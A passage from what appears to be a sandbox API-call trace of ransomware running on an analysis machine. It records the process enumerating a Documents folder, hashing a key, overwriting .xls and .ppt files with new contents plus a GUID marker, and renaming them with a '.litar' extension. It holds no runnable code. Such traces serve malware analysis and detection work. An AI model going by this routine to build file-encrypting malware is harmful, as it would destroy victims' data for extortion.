CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.780] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.780] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.780] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.780] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.780] GetLastError () returned 0x0 [0125.780] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.781] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.781] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13eb0) returned 0x30fa0b0 [0125.781] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.781] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.781] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13ea0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13ea0, lpOverlapped=0x0) returned 1 [0125.781] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.781] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13ea5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.782] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.782] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.782] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.782] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.782] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.782] CloseHandle (hObject=0x624) returned 1 [0125.783] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.783] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.783] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\pCC1nCcN4mL.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\pcc1nccn4ml.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\pCC1nCcN4mL.xls.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\pcc1nccn4ml.xls.litar")) returned 1 [0125.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.784] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.785] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x999d8e30, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0xfe776e80, ftLastAccessTime.dwHighDateTime=0x1d4d427, ftLastWriteTime.dwLowDateTime=0xfe776e80, ftLastWriteTime.dwHighDateTime=0x1d4d427, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrMc-y7gilA", cAlternateFileName="RRMC-Y~1")) returned 1 [0125.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0125.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0125.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0125.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.785] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4332a80, ftCreationTime.dwHighDateTime=0x1d4cc29, ftLastAccessTime.dwLowDateTime=0x3ea62bc0, ftLastAccessTime.dwHighDateTime=0x1d4cdd6, ftLastWriteTime.dwLowDateTime=0x3ea62bc0, ftLastWriteTime.dwHighDateTime=0x1d4cdd6, nFileSizeHigh=0x0, nFileSizeLow=0x160cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SNg4GRtr2YJUAzJ_6.ppt", cAlternateFileName="SNG4GR~1.PPT")) returned 1 [0125.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.785] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\SNg4GRtr2YJUAzJ_6.ppt") returned=".ppt" [0125.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\SNg4GRtr2YJUAzJ_6.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\sng4grtr2yjuazj_6.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.785] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=90315) returned 1 [0125.785] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.787] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x160a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.787] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.789] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.789] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.789] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.789] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x160cb, lpOverlapped=0x0) returned 1 [0125.790] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.790] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.790] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.790] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.791] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.791] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.791] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.791] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.791] GetLastError () returned 0x0 [0125.791] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.791] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x160d0) returned 0x30fa0b0 [0125.792] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.792] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x160c6, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x160c6, lpOverlapped=0x0) returned 1 [0125.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.792] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x160cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.792] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.792] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.792] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.793] CloseHandle (hObject=0x624) returned 1 [0125.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.794] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\SNg4GRtr2YJUAzJ_6.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\sng4grtr2yjuazj_6.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\SNg4GRtr2YJUAzJ_6.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\sng4grtr2yjuazj_6.ppt.litar")) returned 1 [0125.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.794] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.795] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 1 [0125.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30845d0 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30844e0 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0630 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.796] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 0 [0125.796] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.796] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.796] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.799] 